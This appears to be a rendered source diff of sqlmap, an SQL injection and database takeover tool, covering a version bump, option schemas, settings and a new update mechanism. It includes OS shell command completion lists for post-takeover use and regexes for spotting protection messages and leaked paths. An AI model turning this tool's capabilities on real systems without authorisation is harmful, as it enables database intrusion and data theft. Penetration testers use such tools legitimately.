"charset": "string",
|
"regVal": "string",
|
||||||
"checkInternet": "boolean",
|
"regData": "string",
|
||||||
"crawlDepth": "integer",
|
"regType": "string",
|
||||||
"crawlExclude": "string",
|
},
|
||||||
"csvDel": "string",
|
|
||||||
"dumpFormat": "string",
|
|
||||||
"encoding": "string",
|
|
||||||
"eta": "boolean",
|
|
||||||
"flushSession": "boolean",
|
|
||||||
"forms": "boolean",
|
|
||||||
"freshQueries": "boolean",
|
|
||||||
"harFile": "string",
|
|
||||||
"hexConvert": "boolean",
|
|
||||||
"outputDir": "string",
|
|
||||||
"parseErrors": "boolean",
|
|
||||||
"saveConfig": "string",
|
|
||||||
"scope": "string",
|
|
||||||
"testFilter": "string",
|
|
||||||
"testSkip": "string",
|
|
||||||
"updateAll": "boolean",
|
|
||||||
},
|
|
||||||
|
|
||||||
"Miscellaneous": {
|
"General": {
|
||||||
"alert": "string",
|
# "xmlFile": "string",
|
||||||
"answers": "string",
|
"trafficFile": "string",
|
||||||
"beep": "boolean",
|
"batch": "boolean",
|
||||||
"cleanup": "boolean",
|
"binaryFields": "string",
|
||||||
"dependencies": "boolean",
|
"charset": "string",
|
||||||
"disableColoring": "boolean",
|
"checkInternet": "boolean",
|
||||||
"googlePage": "integer",
|
"crawlDepth": "integer",
|
||||||
"identifyWaf": "boolean",
|
"crawlExclude": "string",
|
||||||
"mobile": "boolean",
|
"csvDel": "string",
|
||||||
"offline": "boolean",
|
"dumpFormat": "string",
|
||||||
"purgeOutput": "boolean",
|
"encoding": "string",
|
||||||
"skipWaf": "boolean",
|
"eta": "boolean",
|
||||||
"smart": "boolean",
|
"flushSession": "boolean",
|
||||||
"tmpDir": "string",
|
"forms": "boolean",
|
||||||
"webRoot": "string",
|
"freshQueries": "boolean",
|
||||||
"wizard": "boolean",
|
"harFile": "string",
|
||||||
"verbose": "integer",
|
"hexConvert": "boolean",
|
||||||
},
|
"outputDir": "string",
|
||||||
"Hidden": {
|
"parseErrors": "boolean",
|
||||||
"dummy": "boolean",
|
"saveConfig": "string",
|
||||||
"disablePrecon": "boolean",
|
"scope": "string",
|
||||||
"profile": "boolean",
|
"testFilter": "string",
|
||||||
"forceDns": "boolean",
|
"testSkip": "string",
|
||||||
"murphyRate": "integer",
|
"updateAll": "boolean",
|
||||||
"smokeTest": "boolean",
|
},
|
||||||
"liveTest": "boolean",
|
|
||||||
"stopFail": "boolean",
|
"Miscellaneous": {
|
||||||
"runCase": "string",
|
"alert": "string",
|
||||||
},
|
"answers": "string",
|
||||||
"API": {
|
"beep": "boolean",
|
||||||
"api": "boolean",
|
"cleanup": "boolean",
|
||||||
"taskid": "string",
|
"dependencies": "boolean",
|
||||||
"database": "string",
|
"disableColoring": "boolean",
|
||||||
}
|
"googlePage": "integer",
|
||||||
}
|
"identifyWaf": "boolean",
|
||||||
|
"mobile": "boolean",
|
||||||
|
"offline": "boolean",
|
||||||
|
"purgeOutput": "boolean",
|
||||||
|
"skipWaf": "boolean",
|
||||||
|
"smart": "boolean",
|
||||||
|
"tmpDir": "string",
|
||||||
|
"webRoot": "string",
|
||||||
|
"wizard": "boolean",
|
||||||
|
"verbose": "integer",
|
||||||
|
},
|
||||||
|
|
||||||
|
"Hidden": {
|
||||||
|
"dummy": "boolean",
|
||||||
|
"disablePrecon": "boolean",
|
||||||
|
"profile": "boolean",
|
||||||
|
"forceDns": "boolean",
|
||||||
|
"murphyRate": "integer",
|
||||||
|
"smokeTest": "boolean",
|
||||||
|
"liveTest": "boolean",
|
||||||
|
"stopFail": "boolean",
|
||||||
|
"runCase": "string",
|
||||||
|
},
|
||||||
|
|
||||||
|
"API": {
|
||||||
|
"api": "boolean",
|
||||||
|
"taskid": "string",
|
||||||
|
"database": "string",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
__import__("gobject")
|
||||||
from thirdparty.gprof2dot import gprof2dot
|
from thirdparty.gprof2dot import gprof2dot
|
||||||
from thirdparty.xdot import xdot
|
from thirdparty.xdot import xdot
|
||||||
import gobject
|
|
||||||
import gtk
|
import gtk
|
||||||
import pydot
|
import pydot
|
||||||
except ImportError, e:
|
except ImportError, e:
|
||||||
|
|||||||
+15
-7
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
|||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.2.2.0"
|
VERSION = "1.2.4.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
|
|||||||
SITE = "http://sqlmap.org"
|
SITE = "http://sqlmap.org"
|
||||||
DEV_EMAIL_ADDRESS = "[email protected]"
|
DEV_EMAIL_ADDRESS = "[email protected]"
|
||||||
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
||||||
GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
|
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
|
||||||
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
||||||
|
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
|
||||||
|
|
||||||
# colorful banner
|
# colorful banner
|
||||||
BANNER = """\033[01;33m\
|
BANNER = """\033[01;33m\
|
||||||
@@ -82,7 +83,7 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
|
|||||||
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
|
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
|
||||||
|
|
||||||
# Regular expression used for recognition of generic permission messages
|
# Regular expression used for recognition of generic permission messages
|
||||||
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
|
PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
|
||||||
|
|
||||||
# Regular expression used in recognition of generic protection mechanisms
|
# Regular expression used in recognition of generic protection mechanisms
|
||||||
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
||||||
@@ -224,7 +225,7 @@ PYVERSION = sys.version.split()[0]
|
|||||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
|
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
|
||||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
|
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
|
||||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
||||||
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/
|
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
|
||||||
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
||||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
||||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||||
@@ -299,6 +300,10 @@ BASIC_HELP_ITEMS = (
|
|||||||
"wizard",
|
"wizard",
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Tags used for value replacements inside shell scripts
|
||||||
|
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
|
||||||
|
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
|
||||||
|
|
||||||
# String representation for NULL value
|
# String representation for NULL value
|
||||||
NULL = "NULL"
|
NULL = "NULL"
|
||||||
|
|
||||||
@@ -312,12 +317,12 @@ CURRENT_DB = "CD"
|
|||||||
SESSION_SQLITE_FILE = "session.sqlite"
|
SESSION_SQLITE_FILE = "session.sqlite"
|
||||||
|
|
||||||
# Regular expressions used for finding file paths in error messages
|
# Regular expressions used for finding file paths in error messages
|
||||||
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
|
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
|
||||||
|
|
||||||
# Regular expressions used for parsing error messages (--parse-errors)
|
# Regular expressions used for parsing error messages (--parse-errors)
|
||||||
ERROR_PARSING_REGEXES = (
|
ERROR_PARSING_REGEXES = (
|
||||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||||
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
||||||
@@ -424,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
|
|||||||
# Maximum integer value
|
# Maximum integer value
|
||||||
MAX_INT = sys.maxint
|
MAX_INT = sys.maxint
|
||||||
|
|
||||||
|
# Replacement for unsafe characters in dump table filenames
|
||||||
|
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
|
||||||
|
|
||||||
# Options that need to be restored in multiple targets run mode
|
# Options that need to be restored in multiple targets run mode
|
||||||
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
|
||||||
|
|
||||||
@@ -632,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
|||||||
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
|
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
|
||||||
|
|
||||||
# Maximum response total page size (trimmed if larger)
|
# Maximum response total page size (trimmed if larger)
|
||||||
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
|
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
|
||||||
|
|
||||||
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
|
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
|
||||||
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
|
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
|
||||||
|
|||||||
+10
-10
@@ -104,20 +104,20 @@ def autoCompletion(completion=None, os=None, commands=None):
|
|||||||
if os == OS.WINDOWS:
|
if os == OS.WINDOWS:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"copy": None, "del": None, "dir": None,
|
"copy": None, "del": None, "dir": None,
|
||||||
"echo": None, "md": None, "mem": None,
|
"echo": None, "md": None, "mem": None,
|
||||||
"move": None, "net": None, "netstat -na": None,
|
"move": None, "net": None, "netstat -na": None,
|
||||||
"ver": None, "xcopy": None, "whoami": None,
|
"ver": None, "xcopy": None, "whoami": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"cp": None, "rm": None, "ls": None,
|
"cp": None, "rm": None, "ls": None,
|
||||||
"echo": None, "mkdir": None, "free": None,
|
"echo": None, "mkdir": None, "free": None,
|
||||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
"mv": None, "ifconfig": None, "netstat -natu": None,
|
||||||
"pwd": None, "uname": None, "id": None,
|
"pwd": None, "uname": None, "id": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
readline.set_completer(completer.complete)
|
readline.set_completer(completer.complete)
|
||||||
readline.parse_and_bind("tab: complete")
|
readline.parse_and_bind("tab: complete")
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
|
|||||||
import errno
|
import errno
|
||||||
import os
|
import os
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
@@ -24,11 +23,6 @@ else:
|
|||||||
import select
|
import select
|
||||||
import fcntl
|
import fcntl
|
||||||
|
|
||||||
if (sys.hexversion >> 16) >= 0x202:
|
|
||||||
FCNTL = fcntl
|
|
||||||
else:
|
|
||||||
import FCNTL
|
|
||||||
|
|
||||||
def blockingReadFromFD(fd):
|
def blockingReadFromFD(fd):
|
||||||
# Quick twist around original Twisted function
|
# Quick twist around original Twisted function
|
||||||
# Blocking read from a non-blocking file descriptor
|
# Blocking read from a non-blocking file descriptor
|
||||||
|
|||||||
+9
-12
@@ -142,7 +142,7 @@ def _setRequestParams():
|
|||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||||
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
|
||||||
@@ -232,7 +232,7 @@ def _setRequestParams():
|
|||||||
|
|
||||||
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
|
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
|
||||||
|
|
||||||
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
|
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
|
||||||
warnMsg = "you've provided target URL without any GET "
|
warnMsg = "you've provided target URL without any GET "
|
||||||
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
|
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
|
||||||
warnMsg += "and without providing any POST parameters "
|
warnMsg += "and without providing any POST parameters "
|
||||||
@@ -377,7 +377,7 @@ def _setRequestParams():
|
|||||||
if condition:
|
if condition:
|
||||||
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
|
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
|
||||||
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
|
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
|
||||||
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
|
conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
|
||||||
testableParameters = True
|
testableParameters = True
|
||||||
|
|
||||||
if not conf.parameters:
|
if not conf.parameters:
|
||||||
@@ -391,7 +391,7 @@ def _setRequestParams():
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
|
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
||||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
|
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
|
||||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -449,13 +449,10 @@ def _resumeHashDBValues():
|
|||||||
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
|
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
|
||||||
|
|
||||||
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
|
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
|
||||||
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
|
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
|
||||||
injection.parameter in conf.paramDict[injection.place]:
|
|
||||||
|
|
||||||
if not conf.tech or intersect(conf.tech, injection.data.keys()):
|
if not conf.tech or intersect(conf.tech, injection.data.keys()):
|
||||||
if intersect(conf.tech, injection.data.keys()):
|
if intersect(conf.tech, injection.data.keys()):
|
||||||
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
|
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
|
||||||
|
|
||||||
if injection not in kb.injections:
|
if injection not in kb.injections:
|
||||||
kb.injections.append(injection)
|
kb.injections.append(injection)
|
||||||
|
|
||||||
@@ -581,7 +578,7 @@ def _createFilesDir():
|
|||||||
|
|
||||||
if not os.path.isdir(conf.filePath):
|
if not os.path.isdir(conf.filePath):
|
||||||
try:
|
try:
|
||||||
os.makedirs(conf.filePath, 0755)
|
os.makedirs(conf.filePath)
|
||||||
except OSError, ex:
|
except OSError, ex:
|
||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
|
||||||
warnMsg = "unable to create files directory "
|
warnMsg = "unable to create files directory "
|
||||||
@@ -603,7 +600,7 @@ def _createDumpDir():
|
|||||||
|
|
||||||
if not os.path.isdir(conf.dumpPath):
|
if not os.path.isdir(conf.dumpPath):
|
||||||
try:
|
try:
|
||||||
os.makedirs(conf.dumpPath, 0755)
|
os.makedirs(conf.dumpPath)
|
||||||
except OSError, ex:
|
except OSError, ex:
|
||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
|
||||||
warnMsg = "unable to create dump directory "
|
warnMsg = "unable to create dump directory "
|
||||||
@@ -624,7 +621,7 @@ def _createTargetDirs():
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
os.makedirs(paths.SQLMAP_OUTPUT_PATH)
|
||||||
|
|
||||||
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
|
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
|
||||||
open(_, "w+b").close()
|
open(_, "w+b").close()
|
||||||
@@ -654,7 +651,7 @@ def _createTargetDirs():
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(conf.outputPath):
|
if not os.path.isdir(conf.outputPath):
|
||||||
os.makedirs(conf.outputPath, 0755)
|
os.makedirs(conf.outputPath)
|
||||||
except (OSError, IOError, TypeError), ex:
|
except (OSError, IOError, TypeError), ex:
|
||||||
try:
|
try:
|
||||||
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
|
||||||
|
|||||||
+59
-7
@@ -5,21 +5,28 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import locale
|
import glob
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import shutil
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import sys
|
||||||
import time
|
import time
|
||||||
|
import urllib
|
||||||
|
import zipfile
|
||||||
|
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.common import pollProcess
|
from lib.core.common import pollProcess
|
||||||
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.revision import getRevisionNumber
|
from lib.core.revision import getRevisionNumber
|
||||||
from lib.core.settings import GIT_REPOSITORY
|
from lib.core.settings import GIT_REPOSITORY
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
|
from lib.core.settings import ZIPBALL_PAGE
|
||||||
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
|
|
||||||
def update():
|
def update():
|
||||||
if not conf.updateAll:
|
if not conf.updateAll:
|
||||||
@@ -28,9 +35,54 @@ def update():
|
|||||||
success = False
|
success = False
|
||||||
|
|
||||||
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
|
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
|
||||||
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
|
||||||
